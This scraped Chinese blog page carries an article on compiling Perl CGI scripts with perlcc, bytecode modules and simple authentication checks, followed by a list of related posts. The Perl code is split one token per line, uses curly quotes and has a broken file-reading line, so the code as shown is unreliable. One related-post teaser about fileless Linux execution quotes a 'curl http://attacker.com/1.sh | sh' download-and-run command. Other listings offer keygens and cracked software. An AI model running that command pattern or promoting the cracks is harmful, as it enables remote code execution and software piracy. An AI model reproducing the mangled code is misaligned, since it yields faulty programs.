  这样就可以了,把那些需要调入的模块,放在制定路径中就好了。而且在CGI或者Socket的网络编程和页面编程中,使用该模是有助于提高效率,降低资源占用率。如果使用整体编译方法,那么每次启动必然会耗费相当大的内存,同样这个程序要重复关闭启动,做Fast

  CGI也是相当不方便的,这也是 Fast

  CGI在Perl中的最好的方法。根据不同的请求套入不同的子程序。

  首先我们使用

  cgi-lib.pl得去POST和GET数据(这个时候有些人会问,为什么不使用cgi.pm,我不是不想用它,而是cgi.pm在perlcc的任何编译模式都会有问题)

  然后根据不同的请求,我在这里设置为action。

  例如:

  require

  “cgi-lib”;

  if

  ($in{‘action’}

  eq

  “”)

  {

  require

  “display.pl”;

  &display;

  exit;#可选

  }elsif

  ($in{‘action’

  }eq

  “love”)

  {

  require

  “love.pl”;

  &love;

  exit;#可选

  }

  这样是很好的。我们使用perlcc

  标准编译方法编译它,然后用-b模式编译display.pl和love.pl。然后把它们的名字改回.pl。

  注意在使用perlcc编译程序的时候,编译出来的程序必须带有应用程序扩展文件,如dll和so。因为你的程序还需它们支持,这个文件在 Perl的解析软件目录下,例如perl5.6就是perl56.dll,必须把它拷贝到执行文件目录地下。在Linux下是.so。你最好在一个没有 Perl

  平台解析器的环境下进行测试,把那些需要使用的包也包括在里面。即使是VC等软件编译出来的程序,都需要在纯环境下测试,这是必要的。这样就可以测试出程序的一些不必要的问题。

  另外perlcc

  的任何模式对语法都是很挑剔的,所以你最好使用比较正规的编写方法,而且单个perl程序如果程序量太大,必须截取到另一个文件中,否则编译后容易出现内存溢出现象。

  大家要知道如果你的子程序使用了ByteCode编译,但是他人仍然可以把你的子程序改成源代码形式,这样就好像我说的会被套出很多量。最好的的方法,是采用ByteCode

  编译的程序写入一个Auth认证函数。当然最保险的方法是使用文件内容验证,但是效率影响,我认为不大必要。

  主程序:

  #

  !perl

  require

  “cgi-lib”;

  if

  ($in{‘action’}

  eq

  “”)

  {

  auth

  (“display.pl”);

  &display;

  exit;#可选

  }elsif

  ($in{‘action’

  }eq

  “love”)

  {

  auth

  (“love.pl”);

  &love;

  exit;#可选

  }

  sub

  auth

  {

  require

  "$_[0]

  "

  ;

  $auth

  =

  &check

  ;

  if

  ($auth

  ne

  "checkabcdefg

  "){

  exit

  ;

  }

  }

  Display.pl

  #

  !perl

  sub

  check

  {

  $check=

  "checkabcdefg

  "

  ;

  return

  $check

  ;

  }

  sub

  display

  {

  print

  "content-type

  :text/html

  \n\n"

  ;

  print

  "hello

  baby

  "

  ;

  }

  上面是一种简单的,不过也会造成一些问题,所以下面是一个麻烦(并非复杂)方法,但是很安全。

  检查编译程序是否真实:

  #

  !perl

  open

  (FILE,"./print.pl");

  @FILE=;

  close

  (FILE);

  foreach

  (@FILE)

  {

  if

  ($_

  =~/程序编译后的部分代码/){

  }else

  {exit

  ;}

  }

  首先把程序进行bytecode编译,然后截取部分独特的其它程序没有的代码,放入其中,来检查引入程序是否正确合法。

  你可以把bytecode的程序改名成.dll等,这样其它人就不知道是怎么回事啦。

  结束语

  Perl是一个强大的而且是最早的解析性程序语言,它的编译程序是B模块,大家可以详细常见,它有多种编译方式,都是采用反向编译(BackEnd)不同于反编译。所以经本上是不可能被反编译。我认为本文对所有的Perl程序员都有很大的帮助。

  Perl还有很多其它方式的编译、加密方法,但是我觉得本文介绍的几种方式都是最好的(兼容性和运行效率),有一些人,把写的程序进行部分字符乱码或者是取消缩近的书写格式(把所有程序写在一行上),我认为这些方法是“愚蠢的”,所以建议大家不要花那么多时间去研究这些“无谓”的东西。

  部分字符编码例子——原本:

  #

  !perl

  sub

  Hello

  {

  $hello=abc

  ;

  print

  $hello

  ;

  }

  &hello

  ;

  部分字符编码例子——编码后

  #

  !perl

  sub

  adfjierei123489dkajd_dfefnkdj

  {

  $iernvmdnvcjnaldffgh=abc;

  print

  $iernvmdnvcjnaldffgh;

  }

  &adfjierei123489dkajd_dfefnkdj;

  我希望通过本文促使Perl在国内的商业发展,也同样加快了Perl技术在国内的发展速度。但是我仍然希望大家可以写更多的公开源代码的程序出来,这样可以让初学者有较快的提高速度。

  如果你有任何问题和想法都可以通过电子邮件(tanshuai@BIGFOOT.COM,

  tanshuai@163.COM,

  tanshuai@TANSHUAI.NET)或者ICQ:25856530

  OICQ:66552联络我,其它资料可以到我的网站查询http: //www.tanshuai.net

  http://www2.tanshuai.net  
本文来自:Linux教程 -- http://doc.linuxpk.com/3089.html
如有不明白之处,欢迎参加社区讨论
上一条:Perl常规表达式 下一条:用Perl语言进行Socket编程

perl下的Pdk模块编译perl程序的方法 perl下的Pdk模块编译perl程序的方法 生成EXE文件,而不再是一个单独的源代码文件的TXT格式 立即下载

相关推荐

Windows Perl-5.36.0 VC2015 源码编译版

Windows Perl-5.36.0 VC2015 源码编译版 此版本是在Windows下,使用github上Perl-5.36的源码,在VC2015下编译的。

perl语言的c源代码在哪里,对Perl程序源代码进行编译与加密

前言一直以来,写了一些基于Perl的实用脚本,但是会传播扩散,这样子后期如果被随意篡改或者售卖造成一些纠纷,于是需要对一些Perl程序源代码进行编译和加密的处理。解决方法现在常用的方法有三个:使用Perl自带的perlcc工具、perl2exe、PAR(Perl Archive Toolkit);安装上面的这些模块,我一般使用cpanm进行安装,这是因为cpanm是安装Perl module的最方...

weixin_39530960的博客 595

ActiveState Perl Dev Kit 8.1注册版

利用PerlAPP可以将程序运行在HP/UX,LINUX,SOLARIS,WINDOWS等平台,可视化调试器可以远程调试,PerlNet可以编译NET部分。软件还可以生成Active控件,微软的MSI安装文件等。

linux无文件渗透执行elf

01—简介 在进行Linux系统的攻击应急时,大家可能会查看pid以及/proc相关信息,比如通过/proc/$pid/cmdline查看某个可疑进程的启动命令,通过/proc/$pid/exe抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?最近看了一篇@MagisterQuis写的文章h...

whatday的专栏 1525

最新版ActiveState Komodo IDE 9.3 ActivePerl PDK 9.4 TDK 5 Keygen 注册机

这个是最新版 ActiveState Komodo IDE 9.3 Keygen 注册机 ActivePerl PDK 9.4 Keygen 注册机 TDK 5 Keygen 注册机 而且支持旧版本,向后兼容。

ActivePerl(PDK)

activeperl MS 系统下perl的开发环境。

perl的编译环境(用UltraEdit编写perl语言)

 perl语言没有集成开发环境,用记事本或是写字板写好perl程序,然后保存成.pl格式的文件就可以运行。由于perl是解释性的语言,不需要编译,所以写好的程序直接双击就可以运行,当然前提是装了perl的插件。       当然用记事本编写perl是非常麻烦的事情,因为关键字不可以很清楚的表示出来。这里介绍一下我的开发环境,在这里就像C语言的开发环境一样方便。安装:       首先安

asg86的专栏 1590

Perl程序开发(ActiveState Perl Dev Kit Pro) v9.1.1.295479 官方特别版

利用PerlAPP可以将程序运行在HP/UX,LINUX,SOLARIS,WINDOWS等平台,可视化调试器可以远程调试,PerlNet可以编译NET部分。软件还可以生成Active控件,微软的MSI安装文件等。 相当专业又必不可少的工具软件,程序员什么的不认识它都不好意思说自己是程序员,欢迎下载测试. 为Perl程序员开发程序提供必不可少的工具,使得创建、构造程序变得容易,可以将perl程序在HP-UX、Linux、Solaris和Windows平台下生成各自可执行文件,调试Perl脚本也是一件容易的事,支持将 VBScript转换成Perl,也能用Perl创建.NET 和 ActiveX控件

[转]编译perl程序全过程

[转]编译perl程序全过程Peralty as 技术文章收集 on 2007, January 19, 9:29 AMJump to comments »3727 views信息来源:neeao's blog<br /><br />writer: demonalex[at]hackermail[dot]com<br /><br />前言:写本文的主旨是为了演示如何编译一个perl程序。<br /><br />流程<br />安装解释器/编译器-》测试源码可行性-》制作图标-》编译程序-》加壳<br /><

zxianyong的专栏 2556

2024高校网络安全管理运维赛题目--复现+题目+wp

官方writeup集思广益比较好的备份。

书山有路勤为径,学海无涯苦作舟 1322

MCU工程迁移实战:从STM32到MSPM0L1306的完整指南

在嵌入式系统开发中,MCU工程迁移是开发者常面临的核心挑战,涉及从旧平台向新芯片的完整适配。其原理在于不同MCU在硬件架构、外设寄存器映射、时钟树及开发工具链上存在差异,迁移的本质是将应用逻辑与底层硬件实现解耦。这一过程的技术价值在于提升代码复用性、降低硬件切换成本,并确保产品能快速响应供应链或技术栈变化。典型应用场景包括产品升级换代、芯片缺货替代以及技术生态统一。本文以TI MSPM0L1306为例,详解如何通过对比清单分析、DriverLib API替换及分步调试,高效完成从STM32等平台到Arm C

weixin_27625589的博客 330

perl-编译方法(转)

perl-全面编译(转)<br />文章分类:综合技术<br /> <br />资迅 论坛 教程 杂志 SNS 搜索  <br />-<br />Linux教程 <br />Linux<br /> <br />Linux编程<br /> <br />C/C++编程<br /> Python编程<br /> Perl编程<br /> PHP编程<br /> shell<br /> 编程技术<br /> kernel<br /> html技术<br /> zope<br /> java/jsp<br /> di

zxianyong的专栏 2811

SimNow模拟环境实战:用vnpy_ctp连接期货市场的5个关键配置步骤

本文提供了一份详细的量化交易实战指南,重点讲解如何使用vnpy_ctp插件连接SimNow期货模拟环境的5个关键配置步骤。内容涵盖SimNow环境选择、vnpy_ctp核心参数解析、实战连接脚本编写、深度排错技巧以及向实盘迁移的准备,旨在帮助量化交易开发者快速搭建可靠的测试环境,避免常见陷阱。

weixin_29063035的博客 1273

转~win7编译perl

win7下编译perl程序 其实,原理大家都知道。 首先就是要有编辑器,当然windows平台下可以用记事本编辑,为了更好的编辑呢。我推荐UltraEdit编辑器,因为编程的时候为了好读,好看,字体的颜色、自动缩进等功能是读者更易读懂。 其次就是用什么来编译,这是网上查到的。其实网上的资料也还挺全的,但是中国的一些资料就太雷同了,看了几篇都是抄来抄去,还不一定好用。浪费网络资源,...

weixin_30895603的博客 86

AI数字人:口播与唇形同步的福音,支持本地部署/批量生成/口齿清晰

你也可以直接输入语音,虚拟化身会根据语音的节奏和语调,同步做出相应的动作和表情,表现更加生动。不过这依然是个值得关注的工具。借助先进的 AI 算法,Heygem 高精度捕捉五官、轮廓等特征,构建逼真的虚拟模型。同时,它还能克隆语音,捕捉人声的细微特征,支持多种语音参数设置,打造高度相似的音色效果。打开设置,调整镜像存储位置,镜像文件比较大70~80G,选择合适的盘,设置完成后点击“Apply & Restart”。数字人视频画面与声音高度同步,口型匹配自然流畅,智能优化音视频效果,带来极佳的视听体验。

m0_72580657的博客 5862

ESP32-C3入门教程 环境篇③——VS Code IDE快速入门

文章目录一、安装Visual Studio Code二、安装扩展三、配置ESP-IDF 插件四、创建工程五、配置工程5.1 选择目标芯片5.2 项目配置六、编译工程七、固件分析七、固件下载八、串口日志九、单步调试 一、安装Visual Studio Code 下载并安装Visual Studio Code 二、安装扩展 左侧扩展 搜索espressif 点击安装 三、配置ESP-IDF 插件 按下F1按键 输入configure esp-idf extension EXPRESS,如果你

8303

mysql编译方式查询_【转】MySQL 事务预编译查询和Perl DBI简化

(已经不清楚这篇文章的出处到底在哪里了)许多WEB应用程序内部通常重复运行带不同自变量的相同数据库查询,或以全有或全无块的形式执行一组相关查询。要满足这些要求,大多数数据库系统(包括MySQL)支持预编译查询与事务,多数脚本语言(如PHP和Perl)也拥有内置函数访问这些数据库特性。然而,上述两项特性是MySQL的新功能,因此给那些以前没有见过它们的开发者制造了一些麻烦。本文旨在解决这一问题。文章...

weixin_29585583的博客 122

[ 虚拟专用网 ] IPsce 虚拟局域网(安全的IP协议的虚拟专用网)详解(二) --- 安全联盟SA

???? 博主介绍 ????‍???? 博主介绍:大家好,我是_PowerShell,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 ????点赞➕评论➕收藏 == 养成习惯(一键三连)???? ????欢迎关注????一起学习????一起讨论⭐️一起进步????文末有彩蛋 ????作者水平有限,欢迎各位大佬指点,相互学习进步! 目录 ???? 博主介绍 一、什么是安全联盟 二、协商参数两种方式:(手动、IKE) 1. 手动 2.

qq_51577576的博客 2802

如何在Windows系统搭建高效Perl开发环境:Strawberry Perl全攻略

在Windows平台进行Perl开发时,开发者常常面临环境配置复杂、模块安装困难等问题。Strawberry Perl作为一款专为Windows优化的Perl发行版,集成了编译器和核心模块,彻底解决了传统Perl安装中的痛点。本文将从价值定位、环境准备、核心技能、场景实践、生态拓展到问题解决,全面介绍如何利用Strawberry Perl构建高效的Windows Perl开发环境。 ## 一、价

gitblog_00836的博客 409

【数字IC/FPGA】低功耗设计

低功耗设计方法功耗的类型低功耗设计方法静态低功耗技术多阈值工艺方法电源门控方法体偏置动态低功耗技术多电压域(Multi-Voltage Domain)预计算门控时钟门级优化技术毛刺的消除逻辑级优化物理级优化控制输入向量低功耗Soc系统的动态管理动态电压及频率调节技术低功耗操作系统存储器功耗控制总结 功耗的类型 CMOS电路中的功耗由两部分构成,第一部分为负载电容充放电时引起的功耗,称为动态功耗,另一部分为漏电流引起的功耗,称为静态功耗。其中动态功耗包括翻转功耗和短路功耗。翻转功耗是数字电路中信号翻转时电容充

qq_40268672的博客 3072

一篇文章认识《双目立体视觉》

双目立体视觉,由两个摄像头组成,像人的眼睛能看到三维的物体,具有深度的信息;单目视觉只能看到二维的物体。 1)双目摄像头 2)双目相机基线 3)打开双目摄像头 4)双目测距 视差disparity、 极线约束、 极线校正/立体校正、 a.双目标定 b.双目矫正 c.立体匹配 d.双目测距(三角测量) e.测距效果 立体视觉方法评测网站

黎国溥 7958

android学习笔记---android项目编译过程

Android 工程构建的持续集成,需要搭建一套编译和打包自动化流程,比如建立每日构建系统、自动生成发布文件等等。这些都需要我们对Android工程的编译和打包有一个比较深入的理解,例如知道它的每一步都做了什么,需要什么环境和工具,输入和输出是什么,等等。 首先,假定你的系统(Windows、Linux、Mac OS都行,本文默认使用Linux系统来举例子,但在 Window

zrc7151的专栏 438

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

编译 arm 版 perl

文章目录一. 准备工作1.1. 下载 perl 和 perl-cross1.2. 安装交叉工具链二. 配置和编译2.1. 解压2.2. 编译参考 一. 准备工作 环境: Ubuntu 16.04 perl-5.30.0 perl-cross-1.3 1.1. 下载 perl 和 perl-cross 注意: perl 和 perl-cross 的版本要对应。 我这里使用的分别是 perl-...

fengfengdiandia的专栏 2745

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

由Perl转Java(1)—java中的分层。

入职第一天,由perl转java,看着这个陌生的英文单词,心里慌得一批。 遇到的第一个问题就是了解java中的分层,model,entity,dao,service,controller,这些个东西,因为之前写perl的时候用的不是接口模式,所以理解起来是有点操心的。 modle(Entity)层:就是对应的数据库表的实体类,说的直白点就是对数据库字段的操作,一个表对应一个Entity实体类,...

一枚程序渣的博客 408

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

解决 Builroot 系统编译 perl 编译报错问题

然后将下载后的两个软件包,放在。

Bin_Watson的博客 979
上一篇: perl-改变文件输出句柄、利用标准文件句柄
下一篇: perl-哈希-取键和值keys和values、访问元素、是否有某个键、删除
deepfuture
博客等级 码龄17年 210粉丝 1287原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值